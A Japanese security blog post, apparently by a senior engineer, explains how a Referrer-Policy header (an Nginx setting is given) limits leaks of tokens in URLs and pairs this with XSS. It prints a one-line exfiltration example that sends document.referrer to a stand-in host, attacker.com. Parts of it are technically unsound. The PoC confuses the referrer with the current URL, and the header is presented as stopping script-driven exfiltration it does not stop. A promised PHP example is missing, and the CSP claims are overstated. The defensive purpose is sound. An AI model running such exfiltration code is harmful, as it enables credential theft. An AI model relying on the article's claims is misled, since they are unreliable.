XSSのその先へ:Referrer-Policyで防ぐ「見えない情報漏洩」の実践ガイド
現場でインシデント対応をしていると、多くのエンジニアが「XSS=攻撃者にJavaScriptを実行されること」という理解で止まっていることに気づく。もちろんそれは正しい。だが、攻撃者はJavaScriptでCookieを盗むだけではない。彼らは「ブラウザの親切心」を悪用して、ターゲットの情報を外部へ持ち出そうとする。
その最たる例が、Refererヘッダーによる機密情報の流出だ。今回は、XSSの脆弱性と組み合わさった時に致命傷となり得る「リファラー漏洩」を、Referrer-Policyで封殺する方法を叩き込む。
—
1. なぜ「リファラー」が攻撃の踏み台になるのか
ブラウザは、あるページから別のページへ遷移する際、遷移元のURLをRefererヘッダーとして送信する。これがなぜ危険か。
例えば、パスワードリセットのURLが https://example.com/reset?token=abc123xyz だったとしよう。このページにXSS脆弱性があり、攻撃者が設置した外部の悪意あるサイトへリンクを貼られた場合、あるいは外部リソース(広告や解析ツール)を読み込んだ場合、そのRefererヘッダーにはトークンを含んだURLがそのまま格納され、外部サーバーに送信される。
攻撃者は、自前のサーバーのアクセスログを見るだけで、被害者のセッションIDやワンタイムトークンをいとも簡単に収集できるわけだ。これが「XSSと組み合わせた機密情報の奪取」のリアルな手口だ。
—
2. 攻撃の手口(PoCの概念)
攻撃者は複雑なスクリプトを組む必要すらない。
// 攻撃者がXSSでページに注入するコード例
// ユーザーを攻撃者のサイトへ誘導するだけで、Refererヘッダーに機密情報が載る
window.location.href = “https://attacker.com/log?ref=” + document.referrer;
もしURLパラメータに ?user_id=123&session=secret_token が含まれていれば、document.referrer にその全てが含まれる。これを外部のサーバーに飛ばすだけで、認証情報の窃取が完了する。これが、XSSの被害が「画面の改ざん」で済まない理由だ。
—
3. 「Referrer-Policy」による絶対防御の実装
この攻撃を防ぐための特効薬が、HTTPレスポンスヘッダーの Referrer-Policy だ。これを通報するだけで、ブラウザの「親切心」を制御できる。
Nginxでの設定(推奨)
サーバー全体で強制的に適用するのが最も確実だ。nginx.conf に以下を追記する。
機密情報を一切漏らさない設定
strict-origin-when-cross-origin:
同一オリジンならURLを送り、異なるドメインへはオリジン情報のみ送る(安全かつ利便性も考慮)
add_header Referrer-Policy “strict-origin-when-cross-origin” always;
PHPでの設定
動的に制御したい場合、あるいは共有サーバーなどでNginxの設定を触れない場合の対応だ。
—
4. なぜ「strict-origin-when-cross-origin」なのか?
「とにかく全部隠せばいいのでは?」と考えるかもしれないが、no-referrer にすると、自サイト内の解析ツールまで動かなくなるリスクがある。
strict-origin-when-cross-originのメリット:- 同一オリジン間: 完全なURLを送信する(ログ解析やリダイレクト判定に支障なし)。
- 異なるドメインへの遷移: ドメイン名(オリジン)のみを送信し、パスやクエリパラメータは切り捨てる。
- HTTPS → HTTP: セキュリティの低い通信へは一切情報を送らない。
これが、実運用において「安全性」と「機能性」を両立させる、現在もっとも信頼できる「最強の妥協点」だ。
—
5. シニアエンジニアからの提言
Referrer-Policyは、XSSそのものを消す魔法ではない。しかし、「万が一、XSSを許してしまった時」の被害を最小限に抑える「多層防御」の要だ。
1. URLパラメータに機密情報を載せない: これが根本解決。POSTを使うか、セッションストアを活用せよ。
2. CSP (Content Security Policy) との併用: Referrer-Policy と併せて、CSPで外部ドメインへの通信そのものをホワイトリスト管理すれば、攻撃の成功率はほぼゼロになる。
3. 設定をコピペで終わらせない: 設定後は必ずブラウザのデベロッパーツールを開き、「ネットワーク」タブからリクエストヘッダーを確認する癖をつけろ。
セキュリティは「教科書」ではなく「実装」に宿る。明日からの開発で、まずはこのヘッダーを一行追加することから始めてほしい。君たちのコードが守るべきは、画面の向こう側にいるユーザーの信頼なのだから。
コメント